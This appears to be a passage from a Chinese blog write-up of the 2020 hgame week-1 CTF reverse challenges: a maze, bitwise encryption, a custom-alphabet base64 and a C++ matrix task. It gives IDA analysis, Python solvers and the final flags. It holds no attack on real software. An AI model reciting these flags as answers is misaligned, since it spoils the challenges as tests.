usefulmaze=''
for i in range(len(maze)):
if i%64==0:
usefulmaze+="\n"
if i%4==0:
usefulmaze+=str(maze[i])


print usefulmaze

得到:

img

所以flag:hgame{ssssddddddsssssddwwdddssssdssdd}

bitwise_operation

题目介绍:

还记得第三次C语言培训的作业“位运算”吗?这是2.0
学习资料:http://q42u2raim.bkt.clouddn.com/bitwise-hint1-xor.png

解题思路:

也是一个静态分析的题

核心代码:

img

可以看到,v8,v11,v13,是负数,然后判断那边也有一些特定是数字,

其实通过前面的变量的定义

这些都是字符型,所以其实是可以用R键来转换的

如果有不可见字符,不方便看,那就用H键变成int型,

这些键位的意思,右键就可以看到了

转变之后就变成了这样

img

这样会方便的多

我们先看到其中得函数sub_400616()

读下来其实不难明白,其实就是实现了一个atoll的功能,

就是将字符串每两位取下来,作为一个整型,举个栗子,就是 ‘abcdef’,转化为三个数字,0xab,0xcd,0xef

其中,v14是我们输入(除去hgame{})的前16个字符,也就是会转成8个数字

v16是我们输入(除去hgame{})的后16个字符,也是会转成8个数字

然后我们看到中间一大块的加密代码中间涉及的位操作,所以这边建议可以把这些十六进制转化为二进制来看

我们可以知道,与(&)上0xE0,就是取前三位的意思,

而*8 这个操作相当于,*2^3^,在二进制下,也就是相当于左移3位,然后又或(|)上之前取得三位数,也就是把之前得三位加在这个左移了三位得数上,又因为这个变量是一个char型,只有1个字节,所有高位抹掉。

总而言之,这个加密第一行得操作就是将一个字节得值循环左移了三位。

举个栗子: 0b10100011 -> 0b 00011101

我们再看到,与(&)上0x55和与(&)上0xAA分别是取这个数得奇数位和偶数位,若之后再或(|)上,其实相当于啥也没变,

而乘以2,也就相当于左移了一位,

最后我们可以将这个加密简化成这样:

image-20200121164628877

然后我们看下面的判断

其中v14是加密过后的值,再与v6(我们姑且把这个v6当作一个key,值就是上面所给的8个数字)逐位异或后,与byte_602060判断。其中byte_602060就是img

上面的8个字符,下面的8个字符留着判断下一段

然后v16再与v14和key逐位异或,得到值与上图下面的8个字符判断。注意,此时的v14已经是与key异或过后的值了,再次异或key,两次异或相当于没有异或,所以可以看成v16直接与原来加密过后的v14异或。

正向加密我们了解了后,我们可以逆向解密了。

首先我们知道两段字符,分别是串1:e4sy_Re_和串2:Easylif3,

step1:

首先我们把串1和key异或,就可以得到v14,然后我们将串2和v14异或可以得到v16 (或者也可以串1和串2和key异或,得到v16)

1
2
3
4
5
6
7
8
9
10
11
12
13
FLAG=[]
res14=[]
res16=[]
key=['76','60','214','54','80','136','32','204']
flag='e4sy_Re_Easylif3'.encode('hex')
for i in range(0,len(flag),2):
FLAG.append(flag[i:i+2])

for i in range(8):
res14.append(int(key[i])^int(FLAG[i],16))

for i in range(8):
res16.append(int(FLAG[i+8],16)^int(res14[i]))

step2:

img

此时我们已经知道式子左边的a1[i],式子右边的a1[i],只需要式子左右边的a1[i] 与 ((a2[7-i] & 0xaa) >> 1 ) 异或一遍即可

1
2
3
a1=[]
for i in range(8):
a1.append(res14[i] ^ ((res16[7-i] & 170) >> 1 ))

之后的操作同理,

1
2
3
4
5
6
7
8
9
for i in range(8):
a2.append(res16[7-i] ^ ((a1[i] & 85) << 1 )%256)

a2.reverse()

a1_1=[]

for i in range(8):
a1_1.append(a1[i] ^ ((a2[7-i] & 170) >> 1 ))

最后之前是循环左移的,我们循环右移就可

1
2
3
4
a_final=[]
for i in range(8):
ans=bin(a1_1[i])[2:].rjust(8,"0")
a_final.append(int(ans[5:8]+ans[0:5],2))

最后就可以得到flag了

1
2
3
4
5
6
7
8
9
flag="hgame{"
for i in a_final:
flag+=hex(i)[2:].rjust(2,"0")

for i in a2:
flag+=hex(i)[2:].rjust(2,"0")

flag+="}"
print flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
def encode():
s='0f233e63637982d266cbf41ecb1b0102'
key=['76','60','214','54','80','136','32','204']
a1=[]
a2=[]
for i in range(0,16,2):
a1.append(int(s[i:i+2],16))
a2.append(int(s[16+i:16+i+2],16))

for i in range(8):
#print i
a1[i] = (((a1[i] & 0xE0) >> 5) | 8 * a1[i]) %256 #a1循环右移3位

a1[i] = a1[i] ^ ((a2[7-i] & 0xaa ) >> 1 )

a2[7-i] = a2[7-i] ^ ((a1[i] & 0x55) << 1 )

a1[i] = a1[i] ^ ((a2[7-i] & 0xaa) >> 1 )

test=""
for i in range(len(key)):
test+=chr(a1[i]^int(key[i]))
for i in range(len(key)):
test+=chr(a2[i]^a1[i])
print test

encode()

FLAG=[]
res14=[]
res16=[]
key=['76','60','214','54','80','136','32','204']
flag='e4sy_Re_Easylif3'.encode('hex')
for i in range(0,len(flag),2):
FLAG.append(flag[i:i+2])

for i in range(8):
res14.append(int(key[i])^int(FLAG[i],16))

for i in range(8):
res16.append(int(FLAG[i+8],16)^int(res14[i]))



a1=[]
a2=[]
for i in range(8):
a1.append(res14[i] ^ ((res16[7-i] & 170) >> 1 ))

for i in range(8):
a2.append(res16[7-i] ^ ((a1[i] & 85) << 1 )%256)

a2.reverse()

a1_1=[]

for i in range(8):
a1_1.append(a1[i] ^ ((a2[7-i] & 170) >> 1 ))

a_final=[]
for i in range(8):
ans=bin(a1_1[i])[2:].rjust(8,"0")
a_final.append(int(ans[5:8]+ans[0:5],2))

flag="hgame{"
for i in a_final:
flag+=hex(i)[2:].rjust(2,"0")

for i in a2:
flag+=hex(i)[2:].rjust(2,"0")

flag+="}"
print flag

运行得到flag:hgame{0f233e63637982d266cbf41ecb1b0102}

advance

题目介绍:

“高级加密算法”

解题思路:

看题目还以为是AES加密

首先运行下程序

image-20200121171024621

放进ida,发现去掉了符号表,找不到main函数甚至

那我们就查找一下‘try again’字符

得到核心代码部分

可以看到,与输入有关的函数有三个,分别是sub_140002030,sub_140002000,sub_140001EB0

但是稍微有点经验,或者是实现过base64加密的选手很容易就能看出这就是个base64加密

所以这个加密就是base64加密了,而这里的aAbcdefghijklmn显然就是这个加密的密码表的

双击得到密码表:

是将正常的base64表换了个顺序,

直接编写或者找一个base64解密脚本即可得到flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import re

def base64_decode(s, dictionary):
base64inv = {}
for i in range(len(dictionary)):
base64inv[dictionary[i]] = i

s = s.replace("\n", "")
if not re.match(r"^([{alphabet}]{{4}})*([{alphabet}]{{3}}=|[{alphabet}]{{2}}==)?$".format(alphabet = dictionary), s):
raise ValueError("Invalid input: {}".format(s))

if len(s) == 0:
return ""
p = "" if (s[-1] != "=") else "AA" if (len(s) > 1 and s[-2] == "=") else "A"
r = ""
s = s[0:len(s) - len(p)] + p
for c in range(0, len(s), 4):
n = (base64inv[s[c]] << 18) + (base64inv[s[c+1]] << 12) + (base64inv[s[c+2]] << 6) + base64inv[s[c+3]]
r += chr((n >> 16) & 255) + chr((n >> 8) & 255) + chr(n & 255)
return r[0:len(r) - len(p)]

def show(dictionary):
print(base64_decode("0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX", dictionary), end='')
return

if __name__ == "__main__":
dictionary = "abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ"
show(dictionary)

得到flag:hgame{b45e6a_i5_50_eazy_6VVSQ}

cpp

题目介绍:

easy cpp hint: 翻开线代课本看看

解题思路:

这一道题是连蒙带猜的一道题,本身cpp的静态分析就很难看,出题人还去掉了符号表。(而且本人还没学过cpp,所以这一题讲得不会很清楚)

自己也是刚接触二进制,动态调试也不太会,所以。。。。

img

所以我们解密只需要先求出矩阵v21的逆矩阵

推荐一个在线矩阵运算的网站

img

然后矩阵v30右乘这个矩阵就可以得到我们应该的输入矩阵

img

所以flag就是:

1
hgame{-24840_-78193_51567_2556_-26463_26729_3608_-25933_25943}

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com

文章标题:2020 hgame week1

文章字数:8.7k

本文作者:Van1sh

发布时间:2020-02-18, 16:22:35

最后更新:2020-05-24, 18:33:30

原始链接:http://jayxv.github.io/2020/02/18/2020hgame_week1/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏